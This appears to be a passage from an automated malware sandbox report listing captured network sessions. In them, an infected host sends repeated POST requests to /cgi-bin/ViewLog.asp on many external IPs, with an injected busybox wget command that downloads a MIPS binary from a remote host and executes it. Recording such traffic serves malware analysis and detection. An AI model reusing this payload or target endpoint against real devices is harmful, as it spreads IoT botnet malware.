                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.706635952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.886003017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:26.745100021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                309192.168.2.155981294.122.67.1168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:13.768359900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                310192.168.2.153938694.122.106.2238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:13.788480043 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                311192.168.2.154208494.45.223.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:14.514585018 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.642936945 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:16.954937935 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.674860001 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:25.050690889 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.546416044 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.073785067 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.084604979 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                312192.168.2.155709694.122.117.1748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:14.526599884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                313192.168.2.154476631.136.1.648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:14.910232067 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.483022928 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:16.602916002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.906864882 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:23.514811993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:32.474584103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:51.929964066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:28.792946100 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                314192.168.2.153598631.220.63.2228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.256273985 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.598450899 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                315192.168.2.154205262.44.4.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.327835083 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.527249098 CET75INHTTP/1.1
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                316192.168.2.155320462.108.209.2478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:18.330192089 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.540858984 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
